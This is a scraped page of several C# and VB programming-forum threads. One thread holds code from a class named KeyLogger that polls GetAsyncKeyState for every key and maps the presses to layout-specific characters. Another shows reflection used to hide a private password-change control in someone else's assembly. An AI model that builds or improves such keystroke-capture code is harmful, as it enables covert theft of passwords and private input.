|
Univote countered.
Ideological Purity is no substitute for being able to stick your thumb down a pipe to stop the water
|
|
|
|
|
what..plz reply to query if u know answer
|
|
|
|
|
I already have...that was sent to Pete, not you!
Ideological Purity is no substitute for being able to stick your thumb down a pipe to stop the water
|
|
|
|
|
|
|
Hi,
Am using one dll in my application.
This dll contain one internal class which is used to show popup winform.
Am displaying this popup form.
This popup form contain 2 linkLabel, i want to set the visible property of this linkLabel as false, i cant directly access this control because of its protection level(Private) in Internal class in a assembly.
So could any one tell me how to do this.?
This is my code.
Assembly assembly = Assembly.Load("HS.Satis.Client");
Type myType = assembly.GetType("HS.Satis.Client.AuthenticationForm");
FieldInfo fieldInfo = myType.GetField("_changePasswordLinkLabel" ,BindingFlags.NonPublic | BindingFlags.Instance);
i can manage to get the field information which is available in internal class into fieldInfo variable, from here, how can i set the visible property of
_changePasswordLinkLabel as false using reflection.?
|
|
|
|
|
Rocky23 wrote: i can manage to get the field information which is available in internal class into fieldInfo variable, from here, how can i set the visible property of
..setting the field is done is a similar way as getting it's value. GetValue[^] has an example in the documentation, off course.
So, you ready to explain whom this "Satis" client is that you're going to hack to steal their clients passwords?
Bastard Programmer from Hell
if you can't read my code, try converting it here[^]
|
|
|
|
|
I know about setvalue, but before setting a value, i need to track the visible property of a field right.
but here i couldn't able to get the Visible property of a field _changePasswordLinkLabel
PropertyInfo propInfo = fieldInfo.GetType().GetProperty("Visible");
propInfo.SetValue(myPropertyInfo, false, null);
I tried something like above, but propInfo is returning Null, dont know how to get the visible property of a field using reflection, am stuck here.
Could you pls tell me how to get the Visible properties of a field
_changePasswordLinkLabel
Ans Satis is an assembly name am using in my application and its full name is like this "******.*******.satis.client.dll"
and we can use this assembly only in our internal projects, so didnt displayed the complete name of the assembly here.
|
|
|
|
|
Rocky23 wrote: Could you pls tell me how to get the Visible properties of a field
..simple, you enumerate all properties. If you find one called "Visible", you got the right one.
Make sure you're actually reading from readable properties, and write to writeable properties. And no, I can't help without you showing the offending code. These are snippets that show a bit reflection and a bit of some dll you're trying to hack.
..which brings us to the next question; do you have the original authors' consent?
Bastard Programmer from Hell
if you can't read my code, try converting it here[^]
|
|
|
|
|
What comes to mind is that if you have an instance of the Form you want to affect, then why are you loading an Assembly? 
|
|
|
|
|
is it possible?
for example, form1 got a lot of control and whenever showed, the controls load one by one.
this is very ugly. 
|
|
|
|
|
Display a splash screen or a progress bar[^] until the form is loading initially.
|
|
|
|
|
put the splash screen on form load?
|
|
|
|
|
|
Hi
I used the GetAsyncKeyState API function
Private Declare Function GetAsyncKeyState Lib "user32"
(ByVal vKey As Integer) As Short
My problem is that I have to know if the key that pressed is the English or other languages to print out the key which is pressed
thank you in advance to helping me out
|
|
|
|
|
A key isn't pressed in any language; a key is merely a key, and a combination of keys produces a character. You cannot map key 'a' to character 'a', because it might be that the user is typing 'A'. Alt-A doesn't even count as a character.
Hence, you'll have to figure out what the character the keys would map[^] to.
Bastard Programmer from Hell
if you can't read my code, try converting it here[^]
|
|
|
|
|
Your sig is all wrong in this forum; as the OP posted some VB code (you didn't notice?) he should use a translator the other way around...
|
|
|
|
|
Bastard Programmer from Hell
if you can't read my code, try converting it here[^]
|
|
|
|
|
thank you so much,
what I want to do is what you mentioned above.
what I mean here is to have a character of the key which is pressed,but in different language(the language that is in the layout)
I have seen this function before but, I ran into lot's of problem(sorry I don't have lot's of experience)first is that by using GetAsyncKeyState I can't access to the virtualkeycode, the next problem is that I don't know which type of mapping should I use to reach to my goal .
Part of my code is written below:
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
int k=i;
if( (KeyLogger.Methods.GetAsyncKeyState(i)== 1) ||(KeyLogger.Methods.GetAsyncKeyState(i) == Int16.MinValue))
{
keyBuffer += Enum.GetName(typeof(Keys), i) + " ";
}
|
|
|
|
|
a.fatemeh wrote: I have seen this function before but, I ran into lot's of problem(sorry I don't have lot's of experience)
You'll rarely be building the same thing twice, which means that you'll constantly be discovering new things with which you don't have experience.
Here's[^] part of your puzzle, enjoy.
Bastard Programmer from Hell
if you can't read my code, try converting it here[^]
|
|
|
|
|
|
There's five answers in the thread that I linked you. You need the second answer.
Btw; Iḿ using the same tools as you are to come up with an answer
Bastard Programmer from Hell
if you can't read my code, try converting it here[^]
|
|
|
|
|
yes,it's kind of my answer ,the code has problem which one of them was mentioned below the code is that MapVirtualKey actually returns a uint, not an int.
part of Mycode is as below but it's just show nothing which I couldn't find where the problem is;
const uint MAPVK_VK_TO_VSC_EX = 0x04;
const uint KLF_ACTIVATE = 0x00000001;
textBox2.Text = InputLanguage.CurrentInputLanguage.Culture.EnglishName;
for (int i=0; i<120; i++)
{
if( (KeyLogger.Methods.GetAsyncKeyState(Vkey[1,i])== 1) || (KeyLogger.Methods.GetAsyncKeyState(Vkey[1,i]) == Int16.MinValue))
{
uint temp=KeyLogger.Methods.MapVirtualKeyEx((Convert.ToUInt32(Vkey[1,i])),MAPVK_VK_TO_VSC_EX,KeyLogger.Methods.LoadKeyboardLayout(InputLanguage.CurrentInputLanguage.Culture.KeyboardLayoutId.ToString(),KLF_ACTIVATE));
StringBuilder keyname=new StringBuilder();
int nsize=50;
if (KeyLogger.Methods.GetKeyNameText(Convert.ToInt32(temp),keyname,nsize) !=0)
{
keyBuffer+=keyname.ToString();
}
}
}
if (keyBuffer != string.Empty)
textBox1.Text=keyBuffer;
|
|
|
|
|
I'm developing a Windows phone app with the SQLite SDK. I have reach a point where I want to call a generic within a generic method which the compiler cannot agree to use.
Here is a short version of the code which gives the same compile error as my application for my Windows phone.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
Friend[] friends = Foo<Friend>();
}
static T[] Foo<T>()
{
var obj = Bar<T>(); // <--- Compile error
T[] array = obj.ToArray();
return array;
}
// Method from a SDK. Cannot edit this method
static IEnumerable<T> Bar<T>() where T : new()
{
for (int i = 0; i < 10; i++)
{
var obj = new T();
yield return obj;
}
}
}
class Friend
{
public Friend()
{
}
public string name;
}
}
Let me explain the code:
There are two methods here.
My method: Foo<t>()
The SDK's method: Bar<t>()
I cannot change the SDK's method and have to use it as it is.
In Foo<t>() I get the compile error when I try to call the Bar<t>() method.
The compile error is:
"'T' must be a non-abstract type with a public parameterless constructor in order to use it as parameter 'T' in the generic type or method 'ConsoleApplication1.Program.Bar<t>()'"
If you paste in the code above in a console application, you'll have the same compile error.
Is there any way I can change the Foo<t>() method so it work with the Bar<t>() method and is easy to call in the Main() method?
The SDK method I'm referring to is:
inside the SQLiteClient file in the SQLiteCommand class and is called: "IEnumerable<t> ExecuteQuery<t>()".
You'll need the SQLite SDK for Windows phone to access it.
|
|
|
|
|
It may be that Bar<T>() has a where T : new() so your Foo<T>() requires it as well.
|
|
|
|